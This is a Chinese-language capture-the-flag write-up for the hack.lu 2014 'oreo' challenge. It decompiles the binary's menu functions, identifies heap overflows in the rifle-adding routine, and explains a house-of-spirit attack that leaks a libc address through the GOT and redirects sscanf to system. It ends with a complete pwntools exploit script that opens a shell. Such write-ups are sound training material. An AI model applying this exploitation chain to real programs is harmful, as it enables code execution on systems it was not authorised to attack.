hack-lu-ctf-2014-oreo

一道典型的house of spirit题~

分析

保护是堆漏洞标配,nx+canary:

还有一个重要的结构体:

主要功能看选单:

1
2
3
4
5
6
7
puts("What would you like to do?\n");
printf("%u. Add new rifle\n", 1);
printf("%u. Show added rifles\n", 2);
printf("%u. Order selected rifles\n", 3);
printf("%u. Leave a Message with your Order\n", 4);
printf("%u. Show current stats\n", 5);
printf("%u. Exit!\n", 6);

add

这里有malloc申请0x40大小的chunk,也有两个明显的溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int add()
{
rifle *pre; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
pre = rifleList;
rifleList = (rifle *)malloc(0x38u);
if ( rifleList )
{
rifleList->pre_add = pre;
printf("Rifle name: ");
fgets(rifleList->name, 56, stdin); // 只有27,溢出了
deln(rifleList->name);
printf("Rifle description: ");
fgets(rifleList->descript, 56, stdin); // 只有25,溢出了
deln(rifleList->descript);
++newtimes;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}

show

这里可以输出rifle单链表里面的数据,而rifle可以被破坏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned int show()
{
rifle *i; // [esp+14h] [ebp-14h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = rifleList; i; i = i->pre_add )
{
printf("Name: %s\n", i->name);
printf("Description: %s\n", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ v2;
}

order

这里有free,参数也是能够控制的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned int order()
{
rifle *ptr; // ST18_4
rifle *v2; // [esp+14h] [ebp-14h]
unsigned int v3; // [esp+1Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
v2 = rifleList;
if ( newtimes )
{
while ( v2 )
{
ptr = v2;
v2 = v2->pre_add;
free(ptr);
}
rifleList = 0;
++ordertimes;
puts("Okay order submitted!");
}
else
{
puts("No rifles to be ordered!");
}
return __readgsdword(0x14u) ^ v3;
}

editMsg

这里的东西似乎很可疑,这个message是bss上的一个全局变量,它指向他下面的一片区域,也是bss:

1
2
3
4
5
6
7
8
9
10
unsigned int editMsg()
{
unsigned int v0; // ST1C_4

v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(message, 0x80, stdin);
deln(message);
return __readgsdword(0x14u) ^ v0;
}

stats

同上:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int stats()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
puts("======= Status =======");
printf("New: %u times\n", newtimes);
printf("Orders: %u times\n", ordertimes);
if ( *message )
printf("Order Message: %s\n", message);
puts("======================");
return __readgsdword(0x14u) ^ v1;
}

利用

经过逆向分析发现明显的堆溢出,这里chunk也不大属于fastbins,而且free的参数可控,那么首先考虑典型的house of spirit攻击,首先覆盖pre_add,改为指向got附近的指针,使name或者descript指向已经解析过的got项且pre_add位置指向空,那么就可以泄露出libc的地址;另一方面,将pre_add的值改为指向newtimes,将newtimes改为0x41,下一个chunk在msg中也可以改成正确的大小,就可以将其释放,再次分配可以更改这片区域,其中message是指针,它本来指向msg,若将其改为某个got项,就可对其进行修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.bss:0804A288 ; rifle *rifleList
.bss:0804A288 rifleList dd ? ; DATA XREF: add+11↑r
.bss:0804A288 ; add+25↑w ...
.bss:0804A28C align 20h
.bss:0804A2A0 ordertimes dd ? ; DATA XREF: order+5A↑r
.bss:0804A2A0 ; order+62↑w ...
.bss:0804A2A4 newtimes dd ? ; DATA XREF: add+C5↑r
.bss:0804A2A4 ; add+CD↑w ...
.bss:0804A2A8 ; char *message
.bss:0804A2A8 message dd ? ; DATA XREF: editMsg+23↑r
.bss:0804A2A8 ; editMsg+3C↑r ...
.bss:0804A2AC align 20h
.bss:0804A2C0 msg db ? ; ; DATA XREF: main+29↑o
.bss:0804A2C1 db ? ;
.bss:0804A2C2 db ? ;
.bss:0804A2C3 db ? ;

于是这里的利用思路:

  1. 进行0x40次add order操作
  2. 再次add,在输入name处覆盖地址为&newtimes+0x04
  3. editMsg,将0x804a2e0+0x04处改为0x41
  4. order操作,将所有释放
  5. add,得到的即为fakechunk,此时控制了0x0804A2A8这片区域,即控制了message,添加时直接将descript值改为__isoc99_sscanf@got
  6. stats输出它的实际地址,计算出systemAddr
  7. editMsg更改它的值为systemAddr
  8. 在选项处输入’/bin/sh\0‘getshell

(另外,若这里没有libc,可以将message改到它本身的位置之前,这样可以通过对pre_add进行修改达到内存泄露,最后再改message)
最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# coding=utf-8

from pwn import *

binfile = 'oreo'
elf = ELF(binfile)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process(binfile)

def sla(a,b):
# p.sendlineafter(b,a)
p.sendline(a)

def opt(i):
p.sendline(str(i))
# sla(str(i),'Action: ')

def add(desc,name):
opt(1)
assert(len(desc)<0x38 and len(name)<0x38)
sla(name,'name: ')
sla(desc,'description: ')

def show():
opt(2)
p.recvuntil('===================================')
return p.recvuntil('===================================')

def order():
opt(3)

def edit(msg):
opt(4)
assert(len(msg)<0x80)
sla(msg,'order: ')

def stats():
opt(5)
p.recvuntil('Message: ')
return p.recvuntil('======================')

for _ in range(0x40):
add('00','00')
order()
#p = process(binfile)
add('desc','0'*27+p32(0x0804A2A8))
edit('\x00'*(0x0804A2A0+0x40+0x04-0x0804A2C0)+p32(0x41))
#gdb.attach(p,'b *0x8048855')
order()
#add('00','00')
sscanfGot = elf.got['__isoc99_sscanf']
add(p32(sscanfGot),'11')
sscanfAddr = u32(stats().split('\n==')[0].ljust(4,'\x00'))
#gdb.attach(p)
systemAddr = libc.symbols['system']+sscanfAddr-libc.symbols['__isoc99_sscanf']
edit(p32(systemAddr))
p.sendline('/bin/sh\0')
p.interactive()

结果